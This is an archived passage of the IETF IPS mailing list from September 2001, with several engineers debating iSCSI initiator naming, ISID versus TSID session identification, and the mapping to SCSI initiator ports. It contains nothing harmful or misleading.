--------------------------------------------------- From owner-ips@ece.cmu.edu Fri Sep 7 16:04:55 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA26474 for ; Fri, 7 Sep 2001 16:04:55 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87Hh0B05200 for ips-outgoing; Fri, 7 Sep 2001 13:43:00 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.ivivity.com (user-vc8ftn3.biz.mindspring.com [216.135.246.227]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87HgvP05194 for ; Fri, 7 Sep 2001 13:42:57 -0400 (EDT) Received: from eddylaptop (user-vc8ftn2.biz.mindspring.com [216.135.246.226]) by mail.ivivity.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id QMJCNJDK; Fri, 7 Sep 2001 13:42:51 -0400 Reply-To: From: "Eddy Quicksall" To: "'Jim Hafner'" , Subject: RE: iSCSI: login issue - partial consensus call Date: Fri, 7 Sep 2001 13:42:49 -0400 Message-ID: <002301c137c4$841b1690$f501a8c0@eddylaptop> MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Jim, Thanks. You're right about the more complex naming structure. The more I think about this ... the more I think the TSID should be what is used. Part of the problem with the ISID is: How are you going to have a central layer in OS's that already exist but also fit into SCSI for those systems? That is why I thru up the thought of another naming convention. The only problem with the TSID that I see now is what Millikarjun pointed out ... if you wanted to reset after a crash, how would you figure out the TSID? If no one can present a solution to that, I'll get off my band wagon. Eddy -----Original Message----- From: Jim Hafner [mailto:hafner@almaden.ibm.com] Sent: Friday, September 07, 2001 12:09 PM To: eddy_quicksall@ivivity.com; ips@ece.cmu.edu Subject: RE: iSCSI: login issue - partial consensus call Eddy, I think one way to view your proposal (and one which I more or less dropped sometime ago, but may want to resurrect) is that you're assigning the Initiator Name to the SCSI Initiator Port and the Host Name to the SCSI Device. You've effectively created a two-level naming scheme. You propose then a Text keys=HostName and InitiatorName and both of these have to get sent during login. Rather than turning the cart over completely, let's take a different tact for this. Let's have the iSCSI Initiator Name name the host (as we've had it so far). Let's allow for an 'extension' on this name that further qualifies a subcomponent. So, if my InitiatorName="iqn.2001-08.com.jlh", then I have have statically assigned names like "iqn.2001-08.com.jlh:port1", etc. Each of these new names would name a SCSI Initiator Port and within that name space we'd have uniqueness of ISIDs. Now, I can get this information over the wire at login with either initiatorname=iqn.2001-08.com.jlh portext=port1 (and use initiatorname for authentication) OR initiatorname=iqn.2001-08.com.jlh:port1 AND make the presumption that everything before the : in the initiator name is used for authentication, the rest is ignored. Note that the 'port1' extension could easily be the portal group tag. Note also, that the first of these is equivalent to your proposal, just with keys reversed. However, your proposal would require two levels of world wide uniqueness, since both the hostname and the initiatorname would have to be unique. (Unless the initiator name was assigned to adapters from the outside in exactly the same manner as we need to assign ISIDs today!) In short, the effect is exactly the same as you propose, either by adding a different key explicitly or implicitly. I abandoned this approach for two reasons. First, it added more complexity to the basic protocol (more keys or more assumptions). Second, the "port1" extension is just another name 'self-assigned' by the initiator (through some undefined mechanism) and I didn't see any functional difference between assignment of this extension and assignment of ISIDs! The ISID was already an 'extension' to the initiatorname and already in the login request. What functional gain did we get by adding another field where we put another 'piece' of a name? Jim Hafner "Eddy Quicksall" on 09/07/2001 06:33:10 am Please respond to To: Jim Hafner/Almaden/IBM@IBMUS, cc: Subject: RE: iSCSI: login issue - partial consensus call Jim, Thanks, this helps a lot. The problem I had was that David Black said: "the iSCSI Initiator Name is supposed to refer to the host into which the HBAs are plugged" So I was trying to rationalize that. The problem I have with this is that it will be difficult to get all HBAs and OS's to agree on how this InitiatorName is going to become known to the HBAs and how the ISIDs are going to be distributed to the HBAs. Especially when the best place for a SCSI HBA in the windows world is as a Miniport. So, I was thinking that the definition of InitiatorName should allow this. I think your explanation below does allow this. I think my original message way down below fits your definition. So, I attempted to suggest a definition of InitiatorName that would allow both what you have said and what David said. When I said "unique", I was a bit vague. What I meant was that the host could have several InitiatorNames and each InitiatorName would be responsible for his creation of unique ISID's. Now, I'm wondering why we are even trying to use the ISID to reset a session when we should be using the TSID ... because the target can produce unique TSIDs and use that to identify the session much more easily than using the combination of InitiatorName and ISID. Someone mentioned an issue with authentication ... that process should not require all HBA names to be known. Two things here: 1) if several HBAs are being shared by a common driver, the driver is well aware of the HBA manufacturer (it is probably produced by the HBA manufacturer) and the driver can be the InitiatorName (and hence distribute ISIDs to its HBAs). 2) but that does not fully cover the authentication point. i.e., that the OS should be the apex for authentication. For that, we could have a HostName. If an HBA does not want to play in that arena (because it is on a private network), it could give a NULL for the HostName. Eddy -----Original Message----- From: Jim Hafner [mailto:hafner@almaden.ibm.com] Sent: Thursday, September 06, 2001 4:55 PM To: eddy_quicksall@ivivity.com; ips@ece.cmu.edu Subject: RE: iSCSI: login issue - partial consensus call Eddy, I'll try to take a crack at this question. The problem is that the word "initiator" is being overused in these discussions (same for "target"). I personally try to make a distinction in every case, even if I sound pendantic. In almost all cases in the iSCSI spec (and I think rev-08 will make this explicit), the word 'initiator' means iSCSI initiator (an iSCSI Node doing client stuff) unless otherwise qualified. The iSCSI Initiator has exactly one iSCSI Name. An OS may have one such iSCSI Initiator in it, or it may have several (depends on how you want to use them, but access rights etc are supposed to be bound to the name, so fewer nodes in an OS means fewer names means less configuration and more consistent views of storage within the host). An iSCSI Initiator can have multiple network interfaces, lumped into groups (portal groups) with the property that within each portal group, a cross network interface multiple connection session can be built. For example, I could have two iSCSI HBAs, each with dual ethernet ports (and possibly different addresses for each port). Ideally, this is one iSCS Initiator, with two portal groups. The other context of 'initiator' is "SCSI Initiator" and that further qualifies to "SCSI Initiator Port" and 'SCSI initiator device'. In our case, the SCSI initiator device is 'attached' to the iSCSI Initiator (node) and there is only one such attachment. The SCSI Initiator ports are (as defined now) the initiator end points of sessions (are dynamically created). I hope that much is clear. I've annotated your questions/quotes below with my interpretation of which context the word initiator is implied. Jim Hafner "Eddy Quicksall" @ece.cmu.edu on 09/06/2001 09:50:02 am Please respond to Sent by: owner-ips@ece.cmu.edu To: , cc: Subject: RE: iSCSI: login issue - partial consensus call David, Now, I'm really confused... I just read through the spec and I don't see where it mentions the "Initiator" as you have presented it below. Can you please give me a reference? Section 1.1 appears to define "initiator" as: Clients of a SCSI interface are called "initiators". iSCSI Initiator" Initiators are one endpoint of a SCSI transport. I think this is "iSCSI Initiator"; however, it is not unrelated to the binding of one iSCSI Initiator to one SCSI Initiator Device, so you can probably read both of these terms here. Section 1.2.1 says: The group of TCP connections that link an initiator with a target, form a session (loosely equivalent to a SCSI I-T nexus). iSCSI Initiator and iSCSI Target; it's the session which is loosely equivalent to an I_T nexus. That does not seem to be consistent with your definition. In parallel SCSI, you can have two different initiators SCSI Initiator Port talking to the same target SCSI Target Port with both initiators on the same host SCSI Initiator Device (or perhaps even finer than that) ... your use of Initiator to interpret David, I think this was iSCSI Initiator Node does not seem to be consistent that that because you would allow only one Initiator (the host). Also, if the InitiatorName is the name of the host, how does an independent HBA find out the name? I would like to propose that "Initiator" refers to that end point which is maintaining unique ISID's. I believe this definition would be consistent with all that is in the spec. I'm not clear what you mean with this definition. "unique ISIDs" with respect to a particular target or globally unique? The later is not a requirement. The former is a requirement. However, "maintaining" is ambiguous. If an iSCSI Initiator Node partitions its ISID space among its portal groups (think HBAs here as is being discussed), then each portal group is maintaining its portion of the ISID space according to the uniqueness rules, but it's also true that by the simple act of partitioning, the iSCSI Initiator Node is doing the same thing. So who is the "maintainer" in your case, the node or the portal group? Eddy -----Original Message----- From: Black_David@emc.com [mailto:Black_David@emc.com] Sent: Thursday, September 06, 2001 11:42 AM To: eddy_quicksall@ivivity.com; ips@ece.cmu.edu Subject: RE: iSCSI: login issue - partial consensus call Nope, the iSCSI Initiator Name is supposed to refer to the host into which the HBAs are plugged (or, more precisely, the OS instance using the HBAs for systems that support multiple OS instances). If we were to change the naming approach to associate Initiator identities with network interfaces, this particular issue gets easier, but we'd have to take another hard look at why multiple sessions are allowed between the same Initiator and Target (ditto multiple connections per session). --David > -----Original Message----- > From: Eddy Quicksall [mailto:eddy_quicksall@ivivity.com] > Sent: Thursday, September 06, 2001 10:57 AM > To: Nick.Martin@compaq.com; ips@ece.cmu.edu > Subject: RE: iSCSI: login issue - partial consensus call > > > But wouldn't the two different vendors you mention below have > different > iSCSI Initiator Names? Remember, the Initiator is not the > host, it is the > HBA in this case. > > If two different HBA's are going to play together then a > common driver would > be used and the driver would provide the iSCSI Initiator > Name. Then, the > ISID would be properly maintained by the driver. > > Think of the Initiator Name as the owner of the ISID's for that name. > > Eddy > > -----Original Message----- > From: Martin, Nick [mailto:Nick.Martin@compaq.com] > Sent: Wednesday, September 05, 2001 5:50 PM > To: KRUEGER,MARJORIE (HP-Roseville,ex1); ips@ece.cmu.edu > Subject: RE: iSCSI: login issue - partial consensus call > > > Marj, > > You mention vendors not knowing how to play right. > The problem is that iSCSI does not and will not specify how two HBAs > from different vendors installed in the same Initiator should or could > get a range of ISIDs for their exclusive use. This will be operating > system specific and vendor defined. It is uncertain that the > same tool > or repository would be used by all HBA vendors in any environment. > Given this, accidental overlap in ISID space is not unlikely. > > Given that there is no one way to play right, we must make sure that > everyone can at least play nice. > > My expectation is that sessions are infrequently established and long > lived. ISIDs may be re-used at will by their current owners. When no > "already owned" ISIDs are available, or an attempt to re-use > an "already > owned" ISID failed, and HBA would need to a) "probe" for a > new available > ISID or b) fail the request to establish the session. > Session recovery > should not be attempted unless a session is known to have failed. > > If tools are available, and the administrator has used them correctly, > then HBAs will not collide in ISID space. If the tools are not > available or were not used correctly, I would hope the second HBA can > still attempt to come up without impacting the sessions established by > the first. > > Again, I state my support for a login with existing ISID harmlessly > fails (the Target state does not change) unless a session recovery > indicator is set. Also if a session recovery indicator is > set, and the > ISID is not in use (by this Initiator at this Target), the login also > fails. > > Thanks, > Nick > -----Original Message----- > From: KRUEGER,MARJORIE (HP-Roseville,ex1) > [mailto:marjorie_krueger@hp.com] > Sent: Friday, August 31, 2001 12:09 PM > To: Martin, Nick; ips@ece.cmu.edu > Subject: RE: iSCSI: login issue - partial consensus call > > > > In particular this enables independent agents within the same > initiator to > > attempt a login without knowing all ISIDs in use by other agents. > Each > > agent would know the ISID of sessions it had successfully > established, > but > > not the ISIDs for sessions established by others. It can use the > ISIDs it > > knows to recover sessions it owns. If an agent gets a failure > attempting > to > > establish a new session, it would pick a different ISID and > > retry (or just quit), rather than disrupting a session of another > agent. > > The intent of the presentation on SCSI/iSCSI modeling, and the text in > the > draft, is to illustrate how this example is not a recommended > implementation > choice due to the probability of violating the SCSI/iSCSI > rules pointed > out. > If the "independant agents" had partitioned the ISID space, > there would > be > no collision on login and no time wasted. Your illustrated > implementation > could spend significant time "trying" ISID's in use by the "other > agents". > > However, I'm starting to have more sympathy with Julian's concerns due > to > the apparent risks of different vendors' initiator implementations not > following the rules. > > I just imagined having vendor A's HBA installed and happily servicing > applications, installing vendor B's "plug-n-play" implementation, and > having > all A's sessions aborted cause B doesn't know how to play right :-( > > Marj > From owner-ips@ece.cmu.edu Fri Sep 7 17:17:59 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA28690 for ; Fri, 7 Sep 2001 17:17:59 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87JVr714726 for ips-outgoing; Fri, 7 Sep 2001 15:31:53 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e34.bld.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87JVjP14716 for ; Fri, 7 Sep 2001 15:31:45 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e34.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id PAA23836; Fri, 7 Sep 2001 15:29:22 -0400 Received: from d03nm065.boulder.ibm.com (d03nm065.boulder.ibm.com [9.99.140.49]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f87JVJb79010; Fri, 7 Sep 2001 13:31:19 -0600 X-Priority: 1 (High) Importance: Normal Subject: RE: iSCSI: login issue - partial consensus call To: Cc: X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "John Hufferd" Date: Fri, 7 Sep 2001 12:30:36 -0700 X-MIMETrack: Serialize by Router on D03NM065/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/07/2001 01:31:18 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk I am not now advocating the TSID centric SSID. I in fact have my doubts that any such change is worth the effort. (Last minute changes to any architecture/design is always fraught with potential unseen problems). Especially since Jim Hafner, laid out an approach for getting the ISID assigned. However, independent of that, I think a fair hearing should be held. OK, OK, now for my cut at the TSID remembering on a re-login. I think the issue is the thought that the iSCSI Initiator would want to re-establish the same session or at least the same Nexus with the Target. I also think the point is that with the current design, the initiator would be able to perhaps save the ISID, in some way, that it used last. If it is the Target that creates the SSID, and thereby fills in the ISID, at the end of the Logon, the Initiator could save the generated (by Target ISID) as easily as it could save one that it created. So I do not think we added either any problem here or solved anything relative to the reestablishment of a Nexus. One thing we must remember is that we also have all SW iSCSI Initiator nodes, so we already must support the capability to have dynamically established ISIDs. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com "Eddy Quicksall" @ece.cmu.edu on 09/07/2001 10:42:49 AM Please respond to Sent by: owner-ips@ece.cmu.edu To: Jim Hafner/Almaden/IBM@IBMUS, cc: Subject: RE: iSCSI: login issue - partial consensus call Jim, Thanks. You're right about the more complex naming structure. The more I think about this ... the more I think the TSID should be what is used. Part of the problem with the ISID is: How are you going to have a central layer in OS's that already exist but also fit into SCSI for those systems? That is why I thru up the thought of another naming convention. The only problem with the TSID that I see now is what Millikarjun pointed out ... if you wanted to reset after a crash, how would you figure out the TSID? If no one can present a solution to that, I'll get off my band wagon. Eddy -----Original Message----- From: Jim Hafner [mailto:hafner@almaden.ibm.com] Sent: Friday, September 07, 2001 12:09 PM To: eddy_quicksall@ivivity.com; ips@ece.cmu.edu Subject: RE: iSCSI: login issue - partial consensus call Eddy, I think one way to view your proposal (and one which I more or less dropped sometime ago, but may want to resurrect) is that you're assigning the Initiator Name to the SCSI Initiator Port and the Host Name to the SCSI Device. You've effectively created a two-level naming scheme. You propose then a Text keys=HostName and InitiatorName and both of these have to get sent during login. Rather than turning the cart over completely, let's take a different tact for this. Let's have the iSCSI Initiator Name name the host (as we've had it so far). Let's allow for an 'extension' on this name that further qualifies a subcomponent. So, if my InitiatorName="iqn.2001-08.com.jlh", then I have have statically assigned names like "iqn.2001-08.com.jlh:port1", etc. Each of these new names would name a SCSI Initiator Port and within that name space we'd have uniqueness of ISIDs. Now, I can get this information over the wire at login with either initiatorname=iqn.2001-08.com.jlh portext=port1 (and use initiatorname for authentication) OR initiatorname=iqn.2001-08.com.jlh:port1 AND make the presumption that everything before the : in the initiator name is used for authentication, the rest is ignored. Note that the 'port1' extension could easily be the portal group tag. Note also, that the first of these is equivalent to your proposal, just with keys reversed. However, your proposal would require two levels of world wide uniqueness, since both the hostname and the initiatorname would have to be unique. (Unless the initiator name was assigned to adapters from the outside in exactly the same manner as we need to assign ISIDs today!) In short, the effect is exactly the same as you propose, either by adding a different key explicitly or implicitly. I abandoned this approach for two reasons. First, it added more complexity to the basic protocol (more keys or more assumptions). Second, the "port1" extension is just another name 'self-assigned' by the initiator (through some undefined mechanism) and I didn't see any functional difference between assignment of this extension and assignment of ISIDs! The ISID was already an 'extension' to the initiatorname and already in the login request. What functional gain did we get by adding another field where we put another 'piece' of a name? Jim Hafner "Eddy Quicksall" on 09/07/2001 06:33:10 am Please respond to To: Jim Hafner/Almaden/IBM@IBMUS, cc: Subject: RE: iSCSI: login issue - partial consensus call Jim, Thanks, this helps a lot. The problem I had was that David Black said: "the iSCSI Initiator Name is supposed to refer to the host into which the HBAs are plugged" So I was trying to rationalize that. The problem I have with this is that it will be difficult to get all HBAs and OS's to agree on how this InitiatorName is going to become known to the HBAs and how the ISIDs are going to be distributed to the HBAs. Especially when the best place for a SCSI HBA in the windows world is as a Miniport. So, I was thinking that the definition of InitiatorName should allow this. I think your explanation below does allow this. I think my original message way down below fits your definition. So, I attempted to suggest a definition of InitiatorName that would allow both what you have said and what David said. When I said "unique", I was a bit vague. What I meant was that the host could have several InitiatorNames and each InitiatorName would be responsible for his creation of unique ISID's. Now, I'm wondering why we are even trying to use the ISID to reset a session when we should be using the TSID ... because the target can produce unique TSIDs and use that to identify the session much more easily than using the combination of InitiatorName and ISID. Someone mentioned an issue with authentication ... that process should not require all HBA names to be known. Two things here: 1) if several HBAs are being shared by a common driver, the driver is well aware of the HBA manufacturer (it is probably produced by the HBA manufacturer) and the driver can be the InitiatorName (and hence distribute ISIDs to its HBAs). 2) but that does not fully cover the authentication point. i.e., that the OS should be the apex for authentication. For that, we could have a HostName. If an HBA does not want to play in that arena (because it is on a private network), it could give a NULL for the HostName. Eddy -----Original Message----- From: Jim Hafner [mailto:hafner@almaden.ibm.com] Sent: Thursday, September 06, 2001 4:55 PM To: eddy_quicksall@ivivity.com; ips@ece.cmu.edu Subject: RE: iSCSI: login issue - partial consensus call Eddy, I'll try to take a crack at this question. The problem is that the word "initiator" is being overused in these discussions (same for "target"). I personally try to make a distinction in every case, even if I sound pendantic. In almost all cases in the iSCSI spec (and I think rev-08 will make this explicit), the word 'initiator' means iSCSI initiator (an iSCSI Node doing client stuff) unless otherwise qualified. The iSCSI Initiator has exactly one iSCSI Name. An OS may have one such iSCSI Initiator in it, or it may have several (depends on how you want to use them, but access rights etc are supposed to be bound to the name, so fewer nodes in an OS means fewer names means less configuration and more consistent views of storage within the host). An iSCSI Initiator can have multiple network interfaces, lumped into groups (portal groups) with the property that within each portal group, a cross network interface multiple connection session can be built. For example, I could have two iSCSI HBAs, each with dual ethernet ports (and possibly different addresses for each port). Ideally, this is one iSCS Initiator, with two portal groups. The other context of 'initiator' is "SCSI Initiator" and that further qualifies to "SCSI Initiator Port" and 'SCSI initiator device'. In our case, the SCSI initiator device is 'attached' to the iSCSI Initiator (node) and there is only one such attachment. The SCSI Initiator ports are (as defined now) the initiator end points of sessions (are dynamically created). I hope that much is clear. I've annotated your questions/quotes below with my interpretation of which context the word initiator is implied. Jim Hafner "Eddy Quicksall" @ece.cmu.edu on 09/06/2001 09:50:02 am Please respond to Sent by: owner-ips@ece.cmu.edu To: , cc: Subject: RE: iSCSI: login issue - partial consensus call David, Now, I'm really confused... I just read through the spec and I don't see where it mentions the "Initiator" as you have presented it below. Can you please give me a reference? Section 1.1 appears to define "initiator" as: Clients of a SCSI interface are called "initiators". iSCSI Initiator" Initiators are one endpoint of a SCSI transport. I think this is "iSCSI Initiator"; however, it is not unrelated to the binding of one iSCSI Initiator to one SCSI Initiator Device, so you can probably read both of these terms here. Section 1.2.1 says: The group of TCP connections that link an initiator with a target, form a session (loosely equivalent to a SCSI I-T nexus). iSCSI Initiator and iSCSI Target; it's the session which is loosely equivalent to an I_T nexus. That does not seem to be consistent with your definition. In parallel SCSI, you can have two different initiators SCSI Initiator Port talking to the same target SCSI Target Port with both initiators on the same host SCSI Initiator Device (or perhaps even finer than that) ... your use of Initiator to interpret David, I think this was iSCSI Initiator Node does not seem to be consistent that that because you would allow only one Initiator (the host). Also, if the InitiatorName is the name of the host, how does an independent HBA find out the name? I would like to propose that "Initiator" refers to that end point which is maintaining unique ISID's. I believe this definition would be consistent with all that is in the spec. I'm not clear what you mean with this definition. "unique ISIDs" with respect to a particular target or globally unique? The later is not a requirement. The former is a requirement. However, "maintaining" is ambiguous. If an iSCSI Initiator Node partitions its ISID space among its portal groups (think HBAs here as is being discussed), then each portal group is maintaining its portion of the ISID space according to the uniqueness rules, but it's also true that by the simple act of partitioning, the iSCSI Initiator Node is doing the same thing. So who is the "maintainer" in your case, the node or the portal group? Eddy -----Original Message----- From: Black_David@emc.com [mailto:Black_David@emc.com] Sent: Thursday, September 06, 2001 11:42 AM To: eddy_quicksall@ivivity.com; ips@ece.cmu.edu Subject: RE: iSCSI: login issue - partial consensus call Nope, the iSCSI Initiator Name is supposed to refer to the host into which the HBAs are plugged (or, more precisely, the OS instance using the HBAs for systems that support multiple OS instances). If we were to change the naming approach to associate Initiator identities with network interfaces, this particular issue gets easier, but we'd have to take another hard look at why multiple sessions are allowed between the same Initiator and Target (ditto multiple connections per session). --David > -----Original Message----- > From: Eddy Quicksall [mailto:eddy_quicksall@ivivity.com] > Sent: Thursday, September 06, 2001 10:57 AM > To: Nick.Martin@compaq.com; ips@ece.cmu.edu > Subject: RE: iSCSI: login issue - partial consensus call > > > But wouldn't the two different vendors you mention below have > different > iSCSI Initiator Names? Remember, the Initiator is not the > host, it is the > HBA in this case. > > If two different HBA's are going to play together then a > common driver would > be used and the driver would provide the iSCSI Initiator > Name. Then, the > ISID would be properly maintained by the driver. > > Think of the Initiator Name as the owner of the ISID's for that name. > > Eddy > > -----Original Message----- > From: Martin, Nick [mailto:Nick.Martin@compaq.com] > Sent: Wednesday, September 05, 2001 5:50 PM > To: KRUEGER,MARJORIE (HP-Roseville,ex1); ips@ece.cmu.edu > Subject: RE: iSCSI: login issue - partial consensus call > > > Marj, > > You mention vendors not knowing how to play right. > The problem is that iSCSI does not and will not specify how two HBAs > from different vendors installed in the same Initiator should or could > get a range of ISIDs for their exclusive use. This will be operating > system specific and vendor defined. It is uncertain that the > same tool > or repository would be used by all HBA vendors in any environment. > Given this, accidental overlap in ISID space is not unlikely. > > Given that there is no one way to play right, we must make sure that > everyone can at least play nice. > > My expectation is that sessions are infrequently established and long > lived. ISIDs may be re-used at will by their current owners. When no > "already owned" ISIDs are available, or an attempt to re-use > an "already > owned" ISID failed, and HBA would need to a) "probe" for a > new available > ISID or b) fail the request to establish the session. > Session recovery > should not be attempted unless a session is known to have failed. > > If tools are available, and the administrator has used them correctly, > then HBAs will not collide in ISID space. If the tools are not > available or were not used correctly, I would hope the second HBA can > still attempt to come up without impacting the sessions established by > the first. > > Again, I state my support for a login with existing ISID harmlessly > fails (the Target state does not change) unless a session recovery > indicator is set. Also if a session recovery indicator is > set, and the > ISID is not in use (by this Initiator at this Target), the login also > fails. > > Thanks, > Nick > -----Original Message----- > From: KRUEGER,MARJORIE (HP-Roseville,ex1) > [mailto:marjorie_krueger@hp.com] > Sent: Friday, August 31, 2001 12:09 PM > To: Martin, Nick; ips@ece.cmu.edu > Subject: RE: iSCSI: login issue - partial consensus call > > > > In particular this enables independent agents within the same > initiator to > > attempt a login without knowing all ISIDs in use by other agents. > Each > > agent would know the ISID of sessions it had successfully > established, > but > > not the ISIDs for sessions established by others. It can use the > ISIDs it > > knows to recover sessions it owns. If an agent gets a failure > attempting > to > > establish a new session, it would pick a different ISID and > > retry (or just quit), rather than disrupting a session of another > agent. > > The intent of the presentation on SCSI/iSCSI modeling, and the text in > the > draft, is to illustrate how this example is not a recommended > implementation > choice due to the probability of violating the SCSI/iSCSI > rules pointed > out. > If the "independant agents" had partitioned the ISID space, > there would > be > no collision on login and no time wasted. Your illustrated > implementation > could spend significant time "trying" ISID's in use by the "other > agents". > > However, I'm starting to have more sympathy with Julian's concerns due > to > the apparent risks of different vendors' initiator implementations not > following the rules. > > I just imagined having vendor A's HBA installed and happily servicing > applications, installing vendor B's "plug-n-play" implementation, and > having > all A's sessions aborted cause B doesn't know how to play right :-( > > Marj > From owner-ips@ece.cmu.edu Fri Sep 7 17:20:46 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA28792 for ; Fri, 7 Sep 2001 17:20:45 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87J16Q12555 for ips-outgoing; Fri, 7 Sep 2001 15:01:06 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87J11P12546 for ; Fri, 7 Sep 2001 15:01:01 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id OAA61546; Fri, 7 Sep 2001 14:58:38 -0400 Received: from d03nm065.boulder.ibm.com (d03nm065.boulder.ibm.com [9.99.140.49]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f87J0qb126338; Fri, 7 Sep 2001 13:00:53 -0600 X-Priority: 1 (High) Importance: Normal Subject: RE: iSCSI: ISIDs To: Black_David@emc.com Cc: "Jim Hafner" , ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "John Hufferd" Date: Fri, 7 Sep 2001 11:59:58 -0700 X-MIMETrack: Serialize by Router on D03NM065/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/07/2001 01:00:52 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Jim, I am NOT at this time advocating the TSID centric view. However, I am not sure that our iSCSI to SCSI Mapping is a problem even if we use a TSID centric view. In other words, the Session is Not established until you finish the Login. Also, we have the Software Scenario that dynamically creates its SCSI Port, so having the software and the HW define themselves at the completion of the Login should not be a problem either. Am I missing something important here. David, I am not sure exactly what you were saying, I think it is similar to what I said. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Black_David@emc.com@ece.cmu.edu on 09/07/2001 10:48:22 AM Sent by: owner-ips@ece.cmu.edu To: Jim Hafner/Almaden/IBM@IBMUS, ips@ece.cmu.edu cc: Subject: RE: iSCSI: ISIDs > We have (so far) relied on the ISID (along with the iSCSI Name) for the > SCSI Initiator Port name (and identifier) and relied on the "iSCSI > initiator endpoint of the session" for the SCSI Initiator Port. The ISID > RULE (no reuse of ISID to a given target portal group -- and whose > enforcement rule we've been debating) was intended to prevent parallel > nexus from being created. > > If we abandon any notion of the initiator providing the ISID then we've > somehow lost our handle on what constitutes the SCSI > Initiator Port. Let me take a whack at preserving something approximating the existing situation. Starting from your option c): > c) use the model we now use (SCSI Initiator Port = initiator end of > session) but find something other than the ISID to define the SCSI Port > Name. The only choice seems to be the SSID (=TSID). This might work more > or less as David outlined. It's a little odd, however, that the target is > now *assigning* an identifier/name to the SCSI Initiator Port; that is, the > SCSI Initiator Port doesn't have a name 'all to itself', but only in the > context of a target. Do we actually need an externally visible identifier for the SCSI Initiator Port? There's clearly a session endpoint on the Initiator side that corresponds to the , and the implementation is clearly able to identify it internally to keep its sessions straight, and this identification will be (at least implicitly) visible through a management interface that looks at all the open sessions on a host or device. In essence, I'm suggesting keeping the current mapping, but allowing part of the endpoint identifier to not be visible in the protocol. --David > -----Original Message----- > From: Jim Hafner [mailto:hafner@almaden.ibm.com] > Sent: Friday, September 07, 2001 11:47 AM > To: ips@ece.cmu.edu > Subject: Re: iSCSI: ISIDs > > > > David, > > I've been mulling over your question concerning how Michael's proposal > (which I read as removing the ISID from the SSID and leaving > it up to the > target to assign the SSID) affects the SAM-2 mapping. I > don't have a good > answer. So, I'm going to brain dump here. > > We have (so far) relied on the ISID (along with the iSCSI > Name) for the > SCSI Initiator Port name (and identifier) and relied on the "iSCSI > initiator endpoint of the session" for the SCSI Initiator > Port. The ISID > RULE (no reuse of ISID to a given target portal group -- and whose > enforcement rule we've been debating) was intended to prevent parallel > nexus from being created. > > If we abandon any notion of the initiator providing the ISID > then we've > somehow lost our handle on what constitutes the SCSI > Initiator Port. We > effectively have to go back to square one to sort out the > initiator side of > the model mapping. I think we all pretty much agree that the > iSCSI Node > and the SCSI Device are intimately bound together. Our > choice for SCSI > Initiator Port come down to three > possibilities (as they always have): > > a) view all iSCSI-type SCSI Initiator Devices as being single (SCSI) > -ported. Then the SCSI Initiator Port can be identified by > the iSCSI Name. > There are similarities between this and a single ported FC HBA. Our > problem is then the parallel nexus issue. We need a rule > that says that we > can't have more than one session between a given iSCSI > Initiator and iSCSI > Target Portal Group; and we need to define the target's response to a > second such login. In effect, we've doubled our problems. > We have limited > our connectivity possibilities between a given iSCSI Initiator (max > sessions = number of target portal groups) and we still have > a 'rejection' > rule to decide (option A or option B). > > b) use the model we have for the target; namely, map the > iSCSI Initiator > Portal Group to a SCSI Initiator Port. With this, we get a > SCSI Initiator > Port name equal to the iSCSI Name + portal group tag. So far > so good. But > we are limited to one session per (initiator portal group, > target portal > group tag). This has similarities to a multi-HBA FC host. > We again limit > (to a lesser extent) our > connectivity possibilities: max sessions = (number of initiator portal > groups x number of target port groups). [In spite of the > simplicity of > this model which is independent of 